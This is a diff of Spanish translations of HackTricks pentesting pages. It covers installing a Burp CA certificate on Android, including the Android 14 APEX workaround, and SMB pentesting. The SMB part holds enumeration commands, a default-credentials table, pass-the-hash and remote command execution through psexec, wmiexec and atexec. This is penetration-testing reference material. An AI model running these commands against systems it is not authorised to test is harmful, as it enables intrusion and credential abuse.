C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
Entonces, para **configurar el certificado de burps, haz lo siguiente**:
Luego, para **configurar el certificado de Burp**:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
¡Una vez que la **máquina termine de reiniciarse**, el certificado de Burp estará en uso!
Una vez que la **máquina termine de reiniciarse** ¡el certificado de burp estará en uso por la misma!
## Using Magisc
## Usando Magisc
Si **rooteaste tu dispositivo con Magisc** (quizá un emulador), y **no puedes seguir** los **pasos** anteriores para instalar el Burp cert porque el **filesystem es de solo lectura** y no puedes remontarlo como escribible, hay otra forma.
Si **rooteaste tu dispositivo con Magisc** (tal vez un emulador), y **no puedes seguir** los **pasos** anteriores para instalar el certificado de Burp porque el **sistema de archivos es de solo lectura** y no puedes remontarlo como escribible, hay otra manera.
Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8) necesitas:
1. **Install a CA certificate**: Simplemente **arrastrar&soltar** el DER Burp certificate cambiando la extensión a `.crt` en el móvil para que se almacene en la carpeta Downloads y ve a `Install a certificate` -> `CA certificate`
1. **Instala un certificado CA**: Simplemente **arrastra y suelta** el certificado DER de Burp **cambiando la extensión** a `.crt` en el móvil para que se guarde en la carpeta Downloads y ve a `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
@ -53,27 +53,27 @@ Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8) neces
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Make it System trusted**: Descarga el módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un archivo .zip), **arrástralo&solta** en el teléfono, entra en la app Magics del teléfono en la sección `Modules`, haz clic en `Install from storage`, selecciona el módulo `.zip` y una vez instalado **reincia** el teléfono:
2. **Hazlo System trusted**: Descarga el módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un .zip), **arrástralo y suéltalo** en el teléfono, abre la **app Magics** en el teléfono en la sección **`Modules`**, haz clic en **`Install from storage`**, selecciona el módulo `.zip` y, una vez instalado, **reinicia** el teléfono:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- Después del reinicio, ve a `Trusted credentials` -> `SYSTEM` y verifica que el Postswigger cert esté ahí
- Después del reinicio, ve a `Trusted credentials` -> `SYSTEM` y comprueba que el certificado Postswigger esté allí
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Learn how to create a Magisc module
### Aprende cómo crear un módulo Magisc
Consulta [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Post Android 14
## Después de Android 14
En la más reciente versión Android 14, se ha observado un cambio significativo en el manejo de los certificados de autoridad (CA) de confianza del sistema. Anteriormente, estos certificados residían en **`/system/etc/security/cacerts/`**, accesibles y modificables por usuarios con privilegios root, lo que permitía su aplicación inmediata en todo el sistema. Sin embargo, con Android 14, la ubicación de almacenamiento se ha movido a **`/apex/com.android.conscrypt/cacerts`**, un directorio dentro de la ruta **`/apex`**, que es inmutable por naturaleza.
En la última versión de Android 14 se ha observado un cambio significativo en el manejo de los certificados de Certificate Authority (CA) confiables por el sistema. Anteriormente, estos certificados residían en **`/system/etc/security/cacerts/`**, accesibles y modificables por usuarios con privilegios root, lo que permitía su aplicación inmediata en todo el sistema. Sin embargo, con Android 14, la ubicación de almacenamiento se ha movido a **`/apex/com.android.conscrypt/cacerts`**, un directorio dentro de la ruta **`/apex`**, que es inmutable por naturaleza.
Los intentos de remontar la **APEX cacerts path** como escribible fallan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o sobreponer el directorio con un sistema de archivos temporal (tmpfs) no evitan la inmutabilidad; las aplicaciones siguen accediendo a los datos de certificado originales sin importar los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con PRIVATE propagation, lo que asegura que cualquier modificación dentro del directorio **`/apex`** no afecte a otros procesos.
Los intentos de remontar la **ruta APEX de cacerts** como escribible fracasan, ya que el sistema no permite esas operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no eluden la inmutabilidad; las aplicaciones siguen accediendo a los datos de certificados originales independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje **`/apex`** está configurado con propagación PRIVATE, lo que asegura que cualquier modificación dentro del directorio **`/apex`** no afecte a otros procesos.
La inicialización de Android involucra el proceso `init`, que al iniciar el sistema operativo también lanza el proceso Zygote. Este proceso es responsable de lanzar los procesos de las aplicaciones con un nuevo mount namespace que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio del resto de los procesos.
La inicialización de Android involucra el proceso `init`, que al arrancar el sistema operativo también inicia el proceso Zygote. Este proceso es responsable de lanzar los procesos de las aplicaciones con un nuevo namespace de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos.
No obstante, existe una solución para quienes necesitan modificar los certificados CA de confianza del sistema dentro del directorio **`/apex`**. Esto implica remontar manualmente **`/apex`** para eliminar la PRIVATE propagation, haciendo que sea escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere actuar con rapidez para evitar fallos del sistema. Para asegurar que los cambios se apliquen en todo el sistema, se recomienda reiniciar el `system_server`, lo que efectivamente reinicia todas las aplicaciones y lleva el sistema a un estado consistente.
Sin embargo, existe una solución para quienes necesitan modificar los certificados CA confiables por el sistema dentro del directorio **`/apex`**. Esto implica remontar manualmente **`/apex`** para eliminar la propagación PRIVATE, haciéndolo así escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura y luego restaurar los contenidos a su ubicación original dentro de **`/apex`**. Este método requiere acción rápida para evitar que el sistema se bloquee. Para asegurar que los cambios se apliquen en todo el sistema, se recomienda reiniciar el `system_server`, lo que efectivamente reinicia todas las aplicaciones y deja el sistema en un estado consistente.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -133,22 +133,22 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
1. **Configuración de un directorio escribible**: Inicialmente, se crea un directorio escribible montando un `tmpfs` sobre el directorio de certificados del sistema no-APEX existente. Esto se logra con el siguiente comando:
1. **Configuración de un directorio escribible**: Inicialmente, se crea un directorio escribible montando un `tmpfs` sobre el directorio de certificados del sistema non-APEX existente. Esto se logra con el siguiente comando:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Preparing CA Certificates**: Tras configurar el directorio escribible, los certificados CA que se pretendan usar deben copiarse en este directorio. Esto puede implicar copiar los certificados predeterminados desde `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y las etiquetas SELinux de estos certificados en consecuencia.
3. **Bind Mounting for Zygote**: Utilizando `nsenter`, se accede al namespace de montaje de Zygote. Zygote, al ser el proceso responsable de lanzar las aplicaciones Android, requiere este paso para garantizar que todas las aplicaciones iniciadas a partir de entonces utilicen los certificados CA recién configurados. El comando utilizado es:
2. **Preparación de certificados CA**: Tras configurar el directorio escribible, los certificados CA que se quieran usar deben copiarse a este directorio. Esto puede implicar copiar los certificados por defecto desde `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y las etiquetas de SELinux de estos certificados en consecuencia.
3. **Bind Mounting para Zygote**: Utilizando `nsenter`, se entra en el espacio de nombres de montaje de Zygote. Zygote, al ser el proceso responsable de lanzar aplicaciones Android, requiere este paso para asegurar que todas las aplicaciones iniciadas a partir de entonces utilicen los certificados CA recién configurados. El comando usado es:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Esto garantiza que cada nueva app iniciada cumplirá con la configuración actualizada de certificados CA.
Esto asegura que cada nueva app iniciada respetará la configuración actualizada de los certificados CA.
4. **Aplicar cambios a las apps en ejecución**: Para aplicar los cambios a las aplicaciones que ya están en ejecución, se vuelve a usar `nsenter` para entrar en el namespace de cada app individualmente y realizar un bind mount similar. El comando necesario es:
4. **Aplicando cambios a las apps en ejecución**: Para aplicar los cambios a las apps ya en ejecución, `nsenter` se usa nuevamente para entrar en el namespace de cada app individualmente y realizar un bind mount similar. El comando necesario es:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Enfoque alternativo - Reinicio suave**: Un método alternativo consiste en realizar el bind mount en el proceso `init` (PID 1) seguido de un reinicio suave del sistema operativo con los comandos `stop && start`. Este enfoque propagará los cambios a través de todos los namespaces, evitando la necesidad de dirigirse individualmente a cada app en ejecución. Sin embargo, este método generalmente es menos preferido debido a la inconveniencia de reiniciar.
5. **Alternative Approach - Soft Reboot**: Un método alternativo consiste en realizar el bind mount en el proceso `init` (PID 1) seguido de un soft reboot del sistema operativo con los comandos `stop && start`. Este enfoque propagará los cambios a través de todos los namespaces, evitando la necesidad de dirigirse individualmente a cada app en ejecución. Sin embargo, este método generalmente es menos preferido debido a la molestia de reiniciar.
## Referencias

View File

@ -2,62 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
## **Puerto 139**
## **Port 139**
El _**Sistema Básico de Entrada/Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y equipos de escritorio dentro de una red de área local (LAN) interactúen con el hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de las aplicaciones de software que operan en una red NetBIOS se consigue mediante sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y frecuentemente son distintos del nombre del equipo. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como el cliente) emite un comando para "llamar" a otra aplicación (actuando como el servidor) utilizando **Puerto TCP 139**.
El _**Sistema básico de entrada/salida de red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con el hardware de red y **facilitar la transmisión de datos a través de la red**. La identificación y localización de las aplicaciones de software que operan en una red NetBIOS se realiza mediante sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y con frecuencia son distintos del nombre del equipo. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Puerto 445
## Port 445
Técnicamente, el puerto 139 se denomina 'NBT over IP', mientras que el puerto 445 se identifica como 'SMB over IP'. El acrónimo **SMB** significa **Server Message Blocks**, que también se conoce actualmente como **Common Internet File System (CIFS)**. Como protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos seriales y facilitar diversas formas de comunicación entre nodos en una red.
Técnicamente, Port 139 se denomina NBT over IP, mientras que Port 445 se identifica como SMB over IP. El acrónimo **SMB** significa **Server Message Blocks**, que también es conocido actualmente como el **Common Internet File System (CIFS)**. Como protocolo de red de la capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red.
Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS over TCP/IP, mediante el uso del puerto 445. Por el contrario, en otros sistemas, se observa el uso del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS over TCP/IP.
Por ejemplo, en el contexto de Windows, se destaca que SMB puede funcionar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS over TCP/IP, mediante el uso del puerto 445. Por el contrario, en otros sistemas se observa el uso del puerto 139, lo que indica que SMB se está ejecutando junto con NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
El protocolo **Server Message Block (SMB)**, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y routers. Utilizado principalmente en la serie de sistemas operativos **Windows**, SMB garantiza compatibilidad hacia atrás, permitiendo que dispositivos con versiones más recientes del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, que permite la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación multiplataforma mediante SMB.
El protocolo **Server Message Block (SMB)**, que funciona en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y routers. Utilizado principalmente en la familia de sistemas operativos **Windows**, SMB garantiza compatibilidad con versiones anteriores, permitiendo que dispositivos con versiones más recientes del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones antiguas. Además, el proyecto **Samba** ofrece una solución de software libre que permite la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación multiplataforma mediante SMB.
Los shares, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía visible para un cliente sea en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control granular** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos se pueden asignar a usuarios individuales o grupos, en función de los shares, y son distintos de los permisos locales establecidos en el servidor.
Los shares, que representan **partes arbitrarias del sistema de archivos local**, pueden ser provistos por un servidor SMB, haciendo que la jerarquía visible para un cliente sea en parte **independiente** de la estructura real del servidor. Las **Listas de Control de Acceso (ACLs)**, que definen los **derechos de acceso**, permiten un **control fino** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden asignarse a usuarios individuales o a grupos, en función de los shares, y son distintos de los permisos locales establecidos en el servidor.
### IPC$ Share
El acceso al share IPC$ puede obtenerse mediante una null session anónima, lo que permite la interacción con servicios expuestos a través de named pipes. La utilidad `enum4linux` es útil para este propósito. Si se utiliza correctamente, permite la obtención de:
El acceso al IPC$ share puede obtenerse mediante una null session anónima, permitiendo la interacción con servicios expuestos a través de named pipes. La utilidad `enum4linux` es útil para este propósito. Usada correctamente, permite la obtención de:
- Información sobre el sistema operativo
- Detalles sobre el dominio principal
- Una lista de usuarios y grupos locales
- Detalles sobre el dominio padre
- Un listado de usuarios y grupos locales
- Información sobre los shares SMB disponibles
- La política de seguridad efectiva del sistema
Esta funcionalidad es crítica para administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` proporciona una visión completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén correctamente protegidos.
Esta funcionalidad es crítica para administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` ofrece una visión completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén correctamente protegidos.
```bash
enum4linux -a target_ip
```
El comando anterior es un ejemplo de cómo se podría usar `enum4linux` para realizar una enumeración completa contra un objetivo especificado por `target_ip`.
El comando anterior es un ejemplo de cómo podría usarse `enum4linux` para realizar una full enumeration contra un objetivo especificado por `target_ip`.
## ¿Qué es NTLM
Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Enumeración de Servidores**
## **Server Enumeration**
### **Scan** una red buscando hosts:
### **Scan** una red en busca de hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### Versión del servidor SMB
Para buscar posibles exploits contra la versión de SMB, es importante saber qué versión se está usando. Si esta información no aparece en otras herramientas utilizadas, puedes:
Para buscar posibles exploits para la versión de SMB es importante saber qué versión se está usando. Si esta información no aparece en otras herramientas utilizadas, puedes:
- Usa el **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Usa el módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**`
- O este script:
```bash
#!/bin/sh
@ -75,18 +74,18 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Búsqueda de exploit**
### **Buscar exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Posibles** credenciales
### **Posibles** Credenciales
| **Usuario(s)** | **Contraseñas comunes** |
| **Usuario(s)** | **Contraseñas comunes** |
| -------------------- | ----------------------------------------- |
| _(vacío)_ | _(vacío)_ |
| guest | _(vacío)_ |
| Administrator, admin | _(vacío)_, password, administrator, admin |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
@ -122,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Enumerar Usuarios, Grupos y Usuarios Conectados
Esta información ya debería haberse recopilado con enum4linux y enum4linux-ng
Esta información ya debería haber sido recopilada por enum4linux y enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -140,7 +139,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Comando de una sola línea
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -150,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumeración de LSARPC y SAMR rpcclient**
### **Enumerando LSARPC y SAMR rpcclient**
{{#ref}}
@ -159,7 +158,7 @@ rpcclient-enumeration.md
### Conexión GUI desde Linux
#### En la terminal:
#### En el terminal:
`xdg-open smb://cascade.htb/`
@ -171,7 +170,7 @@ rpcclient-enumeration.md
### Listar carpetas compartidas
Siempre es recomendable comprobar si puedes acceder a algo; si no tienes credenciales, prueba usando **null** **credentials/guest user**.
Siempre es recomendable comprobar si puedes acceder a algo; si no tienes credenciales, prueba a usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,9 +196,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos**
### **Enumerar manualmente shares de Windows y conectarse a ellos**
Es posible que tengas restringido mostrar los recursos compartidos de la máquina host y que al intentar listarlos parezca que no hay shares a los que conectarse. Por ello puede valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerarlos manualmente, conviene buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME cuando uses una sesión válida (p. ej. null session o credenciales válidas). Estas respuestas pueden indicar si el recurso compartido existe y no tienes acceso, o si el recurso no existe en absoluto.
Puede que estés restringido para mostrar los shares de la máquina objetivo y cuando intentas listarlos parezca que no hay ningún share para conectarse. Por eso puede valer la pena intentar conectarse manualmente a un share. Para enumerar los shares manualmente querrás buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME, cuando uses una sesión válida (e.g. null session or valid credentials). Esto puede indicar si el share existe pero no tienes acceso, o si el share no existe en absoluto.
Common share names for windows targets are
@ -214,7 +213,7 @@ Common share names for windows targets are
(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
Puedes intentar conectarte a ellos usando el siguiente comando
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -260,23 +259,23 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (interfaz gráfica)
MMC Snap-in (gráfico)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (interfaz gráfica), escribe `\\<ip>\` para ver los recursos compartidos no ocultos disponibles.
explorer.exe (gráfico), introduzca `\\<ip>\` para ver los shares no ocultos disponibles.
### Montar una carpeta compartida
### Montar una shared folder
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Descargar archivos**
Lee las secciones anteriores para aprender cómo conectarte con credentials/Pass-the-Hash.
Lea las secciones anteriores para aprender cómo conectarse con credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -294,11 +293,11 @@ smbclient //<IP>/<share>
Comandos:
- mask: especifica la máscara que se usa para filtrar los archivos dentro del directorio (p. ej. "" para todos los archivos)
- recurse: alterna la recursión (por defecto: desactivada)
- prompt: desactiva la petición de nombres de archivo (por defecto: activada)
- mget: copia todos los archivos que coinciden con la máscara desde la máquina host a la máquina cliente
- recurse: activa/desactiva la recursión (por defecto: desactivado)
- prompt: activa/desactiva el aviso para los nombres de archivo (por defecto: activado)
- mget: copia todos los archivos que coinciden con la máscara desde el host a la máquina cliente
(_Información del manpage de smbclient_)
(_Información tomada de la manpage de smbclient_)
### Búsqueda de carpetas compartidas del dominio
@ -312,11 +311,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
Especialmente interesantes en los shares son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** de usuarios configurados con **autologon** vía Group Policy. O los archivos **`web.config`** ya que contienen credenciales.
> [!TIP]
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
> El **SYSVOL share** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos diferentes batch, VBScript y PowerShell **scripts**.\
> Deberías **revisar** los **scripts** dentro de ella, ya que podrías **encontrar** información sensible como **contraseñas**.
## Leer el registro
@ -326,37 +325,35 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post-Explotación
## Post Exploitation
La **configuración por defecto de** un servidor **Samba** suele estar ubicada en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**:
La **configuración predeterminada de** un servidor **Samba** suele estar en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**:
| **Opción** | **Descripción** |
| **Configuración** | **Descripción** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | ¿Permite listar los recursos compartidos disponibles en el recurso compartido actual? |
| `read only = no` | ¿Prohíbe la creación y modificación de archivos? |
| `writable = yes` | ¿Permite a los usuarios crear y modificar archivos? |
| `guest ok = yes` | ¿Permite conectarse al servicio sin usar una contraseña? |
| `browseable = yes` | ¿Permitir listar los shares disponibles en el share actual? |
| `read only = no` | ¿Prohibir la creación y modificación de archivos? |
| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? |
| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? |
| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? |
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? |
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando el script se cierre? |
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del magic script? |
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando el script se cierra? |
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del magic script? |
El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**.
## Autenticación usando Kerberos
## Autenticarse usando Kerberos
Puedes **autenticarte** en **kerberos** usando las herramientas **smbclient** y **rpcclient**:
Puedes **autenticarte** en **Kerberos** usando las herramientas **smbclient** y **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Ejecutar comandos**
### **crackmapexec**
crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **por defecto**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,8 +377,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ vía SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al ADMIN$ share y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --**file-less technique-**-).\
**Más info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)y [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ vía SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** subirá un archivo ejecutable al share ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --**file-less technique**--).\
**Más info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) y [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -390,11 +387,11 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Ejecuta sigilosamente un shell de comandos sin tocar el disco ni ejecutar un nuevo servicio usando DCOM a través del **port 135.**\
Ejecuta sigilosamente un shell de comandos sin tocar el disco ni iniciar un nuevo servicio usando DCOM a través del **puerto 135.**\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -402,7 +399,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando **parámetro**`-k` puedes autenticarte con **kerberos** en lugar de **NTLM**
Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,7 +408,7 @@ Usando **parámetro**`-k` puedes autenticarte con **kerberos** en lugar de **NTL
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Ejecutar comandos mediante el Task Scheduler (usando _\pipe\atsvc_ vía SMB).\
Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ vía SMB).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
